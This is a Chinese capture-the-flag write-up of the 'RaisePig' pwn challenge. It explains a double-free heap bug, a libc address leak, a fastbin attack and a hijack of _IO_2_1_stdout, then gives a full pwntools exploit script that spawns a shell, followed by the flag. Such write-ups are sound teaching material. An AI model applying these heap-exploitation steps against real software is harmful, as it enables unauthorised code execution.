[Pwn] RaisePig -Cpt.shao xp0int Posted on Mar 27 2018 ? Pwn ? ? Double-free ? ? Full-relro ? ? IO_hijack ? 这个也是一道UAF的题目,漏洞出现在 ![](https://leanote.com/api/file/getImage?fileId=5ab83a42ab644112f1000222) 可以看到free后面没有把指针填零,比较麻烦的是程序的保护全开 ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 总体思路还是利用fastbin attack来改写libc上面的一些内容,达到劫持rip的目的,但是第一步就是首先要泄露出libc的地址。 方法其实很简单,就是首先分配一个满足unsortedbin大小的chunk,然后释放掉它。释放的时候它的fd和bk都会被填上libc上面的一个地址 ![](https://leanote.com/api/file/getImage?fileId=5ab83a42ab644112f1000221) 这里然后绕了很多弯路,想着用overlap chunk的方法把libc的地址读出来,其实根本不需要这么麻烦。直接重新分配一个大小相同的chunk,然后把name控制到填满fd就可以,以为这里没有加上`\x00`的所以可以泄露出bk所在的libc。 有了libc地址,就可以用常规的fastbin attack来完成了,问题是要写什么地方? 开了`full relro`,got表是肯定不能写了,然后一般来说是用一个`one_gadget`来写`__malloc_hook`或者`__free_hook`。按理说当然是`__free_hook`比较好,因为我们可以控制参数的内容。可惜`__free_hook`方圆几百里都找不到可以用来绕过malloc检查的字节。 `__malloc_hook`附近倒是有可以绕过的位置。在`__malloc_hook-35`处可以成功绕过。辛辛苦苦写上了`one_gadget`以后发现所有的`one_gadget`都不适用malloc调用的位置。 直到这时我才想起这时一道改编题,之前在`pwnable.tw`就见过一样的题目`secret garden`。当时的利用方法是写了`one_gadget`以后用一个double free可以触发`__malloc_hook`。这样的话就能满足其中一个gadget的条件了,奈何这题还做了异常处理,碰到抛出异常就直接退出了,还跑不了去`__malloc_hook`那里。真的很气! 找了很久发现已经有师傅总结过这题的做法了[Pwnable.tw secretgarden](http://tacxingxing.com/2018/02/20/pwnabletw-secretgarden/),于是就选取一个其中`IO_2_1_stdout`的方法,改写`IO_2_1_stdout`上面的内容达到劫持rip的目的。到了这里,终于就满足`__malloc_hook`的触发条件了。 ```python from pwn import * libc = ELF('./libc-64') # env = {'LD_PRELOAD': './libc-64'} malloc_hook = libc.symbols['__malloc_hook'] free_hook = libc.symbols['__free_hook'] env = {} p = process('./raisepig', env=env) # p = remote('39.107.32.132', 9999) context.log_level = 'debug' def raise_pig(length, name, _type, shell=False): p.sendlineafter(':', '1') p.sendlineafter(':', str(length)) p.recvuntil(':') p.send(name) if not shell: p.sendlineafter(':', _type) def visit(): p.sendlineafter(':', '2') def eat(idx): p.recvuntil('choice :') p.sendline('3') p.recvuntil('eat:') p.sendline(str(idx)) raise_pig(0x80, 'b'*0x7f, 'B'*23) raise_pig(0x20, 'a'*0xf, 'A'*23) raise_pig(0x10, 'a'*0xf, 'A'*23) raise_pig(0x60, 'c'*0x5f, 'C'*23) raise_pig(0x60, 'c'*0x5f, 'C'*23) eat(0) eat(1) gdb.attach(p, 'tracemalloc on') raise_pig(0x80, 'b'*8, 'B'*9) visit() p.recvuntil('b'*8) leak_libc = u64(p.recv(6) + '\x00\x00') p.info('leak_libc: %x' % leak_libc) libc_start = leak_libc -0x3c4b78 malloc_hook = libc_start + malloc_hook free_hook = libc_start + free_hook one_gadget = libc_start + 0x4526a relloc_hook = libc_start + libc.symbols['__libc_realloc'] p.info('libc_start: %x' % libc_start) p.info('malloc_hook: %x' % malloc_hook) p.info('free_hook: %x' % free_hook) IO_2_1_stdout = libc_start + 0x3c5620 p.info('IO_2_1_stdout: %x' % IO_2_1_stdout) eat(3) eat(4) eat(3) raise_pig(0x60, p64(IO_2_1_stdout+0x9d), 'C'*23) raise_pig(0x60, 'junk', 'C'*23) raise_pig(0x60, 'junk', 'C'*23) payload = "\x00"*3 payload += 2*p64(0) payload += p64(0xffffffff) payload += p64(0) payload += p64(one_gadget) payload += p64(IO_2_1_stdout+0x98) raise_pig(0x60, payload, 'C'*23, True) p.interactive() ``` ## Flag qwbctf{ok_now_you_know_how2_raise_a_pig} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Silent -Cpt.shao [Reverse] babyre - sherlly
没有帐号? 立即注册